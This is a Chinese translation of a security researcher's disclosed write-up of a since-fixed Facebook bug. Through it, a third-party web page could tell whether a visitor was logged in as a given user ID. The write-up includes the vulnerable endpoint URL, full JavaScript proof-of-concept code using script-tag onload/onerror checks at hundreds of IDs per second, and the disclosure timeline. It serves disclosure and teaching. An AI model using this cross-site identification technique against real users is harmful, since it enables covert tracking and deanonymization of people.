通過一個網頁識別Facebook用戶當前登錄狀態

2021-02-11 FreeBuf

本文分享的是一個關於Facebook的漏洞,漏洞機制在於:可以通過一個網頁,以輸入Facebook用戶ID的方式,來識別其對應的Facebook用戶在當前時間內,是否處於Facebook登錄狀態。最終,漏洞上報後,Facebook方面花了半年多才修復了這個漏洞,並獎勵了$1000美金賞金。以下為作者漏洞發現的思路過程。

漏洞前言

去年,Facebook深陷劍橋分析公司的用戶隱私事件中,馬克·扎克伯格被要求在國會上出席公開聽證會。聽證會上,其中就有一個問題就是,Facebook是否能通過自身或其嵌入應用的第三方網站來跟蹤用戶收集用戶信息。當時,很多媒體都對Facebook做了鋪天蓋地的報導,社會上也呈現出一邊倒的負面輿論。為此,作為向公眾擔憂的回應,Facebook宣布了很多數據安全措施,其中就包括了啟動「數據濫用懸賞」計劃(Data Abuse Bounty),旨在獎勵與Facebook用戶數據安全相關的漏洞隱患和行為發現,實現全社會對用戶數據保護的監督。

作為我來說,自去年發現了谷歌的搜索結果排名漏洞之後,我就著手研究,是否能通過其它網站來跟蹤或者說識別出Facebook用戶。經過大量測試後,我嘗試著尋找一個漏洞,基於該漏洞,可以發現網站訪問者是否登錄了某個相關聯的Facebook帳戶,而且,我希望最終可以實現的識別機制是,每秒要能識別數百個身份的效率。

漏洞發現過程

Facebook部署了好多後端服務,用於全站各種AJAX請求。這些後端服務在安全實現方面,都在服務端響應架構中設置了合理的access-control-allow-origin頭和各種「神奇」前綴,以此來阻止JSON劫持和其它惡意攻擊。

首先,我在Facebook中尋找著不存在上述保護機制的服務端,和一些可以在URL連結中傳遞用戶ID的服務端,我還想方設法去解析Facebook響應內容,去確認URL連結中的UID是否正確。

其次,我著重查找了那些URL連結中包含用戶ID的相關圖片,且這些圖片在UID和關聯帳戶登錄相匹配時會產生不同行為,這樣的話,我就能進行一些構造利用,但也僅限一些特定ID(類似方法)。經測試發現,某張圖片確實在登錄匹配時發生了異常行為,但是其相關的URL連結中仍然包含了用於CSRF攻擊防禦的fb_dtsg參數,為了防止濫用,該參數對每位用戶來說都是不同的。

另外,我還檢查了URL連結中的所有301和302跳轉,我想如果可能的話,這種跳轉可能會以某種方式重定向到某張圖片,然後就能構造像上述的攻擊測試了。

最終,經過給大量的上述服務端檢查測試之後,我終於發現了一個服務端在行為方式上有所不同,儘管這只是一小點的略有差異,但是也能說明問題。這個服務端本身確實是有access-control-allow-origin消息控制頭的,但當URL連結中的用戶ID參數(在__user的URL中)與關聯帳戶的登錄行為不匹配時,服務端中就會包含一個」error「前綴,而當兩者行為匹配時,其中就不會包括任何前綴。URL中的用戶ID和關聯帳戶登錄行為匹配時,服務端響應為JSON內容。如下為用戶ID和關聯帳戶登錄行為不匹配以及匹配時的響應內容:

然而,由於煩人的access-control-allow-origin消息控制頭,瀏覽器會發起阻止,所以我不能通過XMLHttpRequest (XHR)方式對它進行調用。為此,我一度認為這是一個死胡同方法,但後來我又意識到,我可以用<script>塊加.src的方式來調用這個外部連結啊。總之,這種調用行為,肯定是不能成功登錄關聯帳戶的,但可以從以上兩種不同的響應方式和content-type頭中來綜合判斷出,關聯帳戶在當前時間內,是否登錄Facebook的狀態。為此,還可繼續通過利用<script>的onload 和 onerror事件方法來對登錄狀態進行一個有效判斷。

PoC

我發現存在響應異常的Facebook服務端如下:

https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjeDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1159016196%7D&user=XXXXXXXXXXXX&a=1&dyn=7AgNe-4amaxx2u7aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&req=fetchstream_8&be=1&pc=PHASED%3ADEFAULT&rev=3832430&spin_r=3832430&spin_b=trunk&spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1

基於此,我可以構造一個簡單的 Javascript 腳本配合一些調用標籤去檢查相關用戶ID的Facebook登錄狀態。由於Facebook的後端為HTTP2協議,所以可以同時快速地處理大量類似請求。在我構造的查詢頁面中,可以每秒查詢400到500個用戶ID,如果按正常來算的話,在一分鐘之內就可以輕鬆查詢數千個用戶ID的登錄狀態。況且,Facebook的這個服務端無任何速率限制。

我構造的查詢頁面為:http://www.tomanthony.co.uk/security/fb_identifier/index.html

Facebook的用戶ID一般在登錄後的個人設置頁面會有顯示,如:

在這裡,如果你輸入查詢的用戶ID在當前時間內確實處於Facebook登錄狀態,它就會顯示:

如果查詢的用戶ID在當前時間內不處於Facebook登錄狀態,它的結果為:

其中主要用到的方法如下:

$(document).ready(function() {
for (i = 0; i < ids.length; i++) {
userid = ids[i];
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { update_auto_result(this.id, false); };
scriptblock.onerror = function() { update_auto_result(this.id, true); };
document.getElementById('scriptblock').appendChild(scriptblock);
}
});

function runcheck(userid)
{
var scriptblock = document.createElement("script");
scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1";
scriptblock.id = userid;
scriptblock.onload = function() { show_result(userid, false); };
scriptblock.onerror = function() { show_result(userid, true); };
document.getElementById('manualblock').appendChild(scriptblock);
}

function show_result(userid, status)
{
if (userid == "")
return;
try {
if (status)
{
$("#FacebookStatus").html("You <span class='green'>are</span> currently logged in to <strong>" + userid + "</strong>");
}else{
$("#FacebookStatus").html("You <span class='red'>are not</span> currently logged in to <strong>" + userid + "</strong>");
}

}catch(err) {
//nada
}
}

function update_auto_result(userid, status)
{
var people = {};
people["4"] = "MarkZ";
if (status) {
if (userid in people)
{
$("#knownAccount").html("I know you! You are: " + people[userid]);
}else{
$("#knownAccount").html("I know you! You are: " + userid);
}
}
}
</script>

具體可以右鍵查看網頁源碼來參考。

漏洞危害

單獨從漏洞利用方面來講,該漏洞影響有限,因為需要查詢某個Facebook用戶的登錄狀態,你還要需要知道他的Facebook用戶ID。

然而,」劍橋分析「數據隱私醜聞事件中就洩露了大量Facebook用戶信息,一旦這些信息被人惡意利用,結合該漏洞,無需其它Facebook APIs,就能對這些用戶的Facebook登錄狀態進行識別了。

另外,該漏洞最邪惡的攻擊利用者,如某些專制政府,他們手裡肯定掌握某些特定人員的如用戶ID的Facebook用戶信息。其次,如果在某些公司內網中,要收集內部人員的Facebook用戶信息也是非常容易的。

所以,綜合來說,確實漏洞威脅有限,但是,對大部份人來說,其影響可能很小,但對一些特定人群來說,影響就會很大。對於任何被識別的Facebook用戶來說,這也屬於個人隱私侵犯。

漏洞披露進程

2018.4.20 漏洞初報

2018.4.20 Facebook回復我漏洞已經轉給相關內部安全團隊進行調查

2018.5.1 我詢問Facebook當前漏洞狀態

2018.5.2 Facebook回復仍然處理調查過程之中

2018.5.23 我發現漏洞已在 Chrome 瀏覽器環境進行了修復,但還可以通過Safari進行利用

2018.5.23 Facebook回復正在制訂修複方案

2018.6.20 Facebook獎勵了我$1000美金

2018.10.1 向 Facebook進行漏洞公開申請

2018.10.1 Facebook回復稱漏洞還在處於修復過程中

2018.10.1 我繼續跟進 之後Facebook回復稱可以公開漏洞

*參考來源:tomanthony,clouds編譯,轉載請註明來自FreeBuf.COM

相關焦點

  • 【分享】通過Selenium模擬Firefox登錄網頁並識別驗證碼
    在這個項目裡,我們要完成以下目標:1、在CentOS 7.2終端模式下啟動虛擬顯示器2、在通過Selenium在虛擬顯示器上運行Firefox3、使用 Firefox 訪問特定網站登錄頁面4、輸入用戶名、密碼5、截取屏幕,並裁剪出圖形驗證碼6、發驗證碼到打碼平臺進行識別(省略)7、點擊登錄按鈕
  • Facebook帳號一鍵登錄
    Facebook帳號一鍵登錄公司最近做的一個項目要求使用Facebook實現一鍵登錄的功能。
  • Facebook登錄
    之前都是做國內的應用開發,沒有用過國外的三方登錄,比如谷歌登錄、facebok登錄,最近參與了一個海外的支付相關的項目,調研了一下谷歌登錄和facebook
  • Facebook的登錄驗證簡訊收不到?換一個驗證方式
    Facebook的登錄驗證簡訊收不到,何不換一個驗證方式昨天早上開始到今天,幾個大群裡面基本一片哀嚎,都是收不到Facebook的登錄驗證簡訊,帳戶都進不去了。先解決當前不能登錄問題:1,PC版本登錄刷新驗證碼後依舊收不到簡訊的,請試試換成手機網頁版本去登錄。
  • 看我如何竊取Messenger.com用戶登錄認證隨機數並獲得15000美元漏洞賞金
    ,如果用戶當前是Facebook登錄狀態,則可以直接以Facebook身份登錄messenger.com。如果用戶當前是Facebook登錄狀態,請求將結合用戶安全隨機數(secret nonce)轉向https://www.messenger.com/login/fb_iframe_target/,具體請求狀態如下:https://www.messenger.com/login/fb_iframe_target/?
  • 揭秘第三方跟蹤器是如何利用Facebook登錄頁面跟蹤用戶的
    到目前為止,我已經陸續發布了如何通過網絡跟蹤器從網頁、瀏覽器密碼管理器和表單輸入中盜取信息的文章。今天,我會繼續發布我最近新發現的如何利用第三方腳本進行的隱私數據收集。具體過程就是通過登錄Facebook以及其他類似的社交登錄API,從網站中找到個人標識符,對用戶進行跟蹤。
  • 會話與 Cookie:用戶登錄的原理是什麼? | Linux 中國
    它們的共同點在於都需要你登錄進去後才能做進一步的操作。只有你通過認證並登錄後才能在 twitter 發推,在 Facebook 上評論,以及在 Gmail上處理電子郵件。gmail, facebook login page那麼登錄的原理是什麼?網站是如何認證的?它怎麼知道是哪個用戶從哪兒登錄進來的?下面我們來對這些問題進行一一解答。
  • 剖析Facebook惡意軟體通過Chrome拓展傳播的流程
    自從卡巴斯基實驗室在博客上公布關於多平臺 的facebook 惡意軟體過去了一些日子, 這款惡意軟體是通過 facebook 的信使傳播。在卡巴斯基實驗室分析這一軟體的安全威脅同時, 其實還有有一些研究人員在做同樣的工作, 包括Frans Rosén, Detectify 的安全顧問。
  • 除了404,HTTP網頁狀態碼還有啥?
    前兩個好歹還能讓你看點東西,而最後一個則是最糟糕的用戶體驗——除了告訴你打不開網頁就似乎真的什麼也沒有了,不知道各位有沒有想過這個404是怎麼產生的,除了404還有什麼?今天我們就來談一談除了404以外的那些狀態碼。
  • iOS 13測試版新功能:使用生物識別登錄網頁版iCloud
    7月8日上午消息,據外媒9to5mac報導,蘋果公司正在測試網頁版iCloud新功能,當用戶的測試設備訪問beta.icloud.com這個網址時
  • labview登錄微信網頁版
    http協議的get方法,實現獲取微信登錄二維碼;3:通過虛擬儀器實現登錄網頁版微信,獲取並整理好友信息;關鍵詞:http協議,微信網頁版,微信接口,微信機器人,數據分析,數據整理等備註:文末提供GBK轉碼核心附件致謝:@清譽、@追光的夜
  • 通過小程序掃碼登錄網站,打造跨端用戶互通的極致體驗
    而通過小程序掃碼登錄的方式,當用戶打開網站時會生成一個攜帶了參數的小程序碼,用微信掃碼就會進入到小程序,在小程序上點擊確認授權,網站就登錄成功了。這種方式既給用戶帶來了極致的登錄體驗,還能打通小程序端和網站的用戶帳戶體系,同時還能給你的小程序引流。
  • 百度電腦網頁不能帳號密碼登錄提示您當前的操作存在安全風險只能掃碼登錄百度網盤開機不能自動登錄解決方法:申訴
    百度電腦網頁不能帳號密碼登錄提示您當前的操作存在安全風險只能掃碼登錄百度網盤開機不能自動登錄解決方法:申訴早在一年多前的2020.7.16
  • 一個關於Facebook用戶個人和好友隱私信息洩露的漏洞
    我又發現了另外一個關於Facebook的漏洞,利用該漏洞,可允許其它網站提取出Facebook受害者用戶和其好友的個人隱私信息。因為我自己對iframes的一些特別跨域行為(cross-origin)算是有些了解,於是,我想到了以下測試技巧:首先,讓我們來看一下Facebook中內置的搜索功能頁面,該功能有一個後端接口,用來接收一些搜索參數的GET請求,像大多數搜索接口一樣,這裡接口後端沒有設置跨站請求偽造(cross-site request forgery,CSRF)保護機制,也就是說,用戶可以通過URL來共享搜索結果頁面
  • FaceBook自動營銷APK更新完成了
    一直在等待facebook變得穩定一些,經過了10月初的變革,會迎來一段時間的養號小高峰的。所以我們也完成了一次大更新。
  • Facebook 如何識別出性工作者?
    但因為Facebook一直沒有公開,其是如何將一個用戶和另一個用戶聯繫到一起,所採用的方法和數據,因此,Leila也無從知曉她的身份是如何在網際網路上被辨別出來的,應該如何採取措施來防止這樣的事件再次發生。  「不僅僅是性工作者要小心保護自己的身份,」Leila通過Skype對gizmodo的記者說到。
  • FACEBOOK帳號登錄的種種不幸
    其實最重要往往不是這兩個東西,你是否登錄成功,並不是這兩個東西來影響。更重要的還是一些外在因素。所以你再登錄,碰到任何的驗證,審核、禁用之類的情況,其實都是你自己的設備和網絡,使用環境的問題,與帳號沒啥關係。還有一些人購買的郵箱+密碼形式的帳號,登錄的時候,要求通過郵箱接收驗證碼。其實這是一個假像。
  • 不要用共享wifi去登錄facebook
    最近碰到好幾個用戶反饋的facebook登錄問題。裡面有一個細節值得大家了解一下。就是自己的本地網絡,這個其實也是有區別的。
  • 五分鐘接入微信網頁授權登錄
    為了更好的兼容中國生態,Authing 支持了新的社會化登錄手段:微信內網頁授權登錄。
  • 微信公眾號網頁授權獲取用戶基本信息實現微信登錄
    、添加需要的依賴並啟動項目2.1 修改 pom.xml2.2 修改 web.xml2.3 創建servlet和基本的工具類三、代碼效果四、GitHub倉庫地址如果用戶在微信客戶端中訪問第三方網頁,公眾號可以通過微信網頁授權機制,來獲取用戶基本信息,進而實現業務邏輯。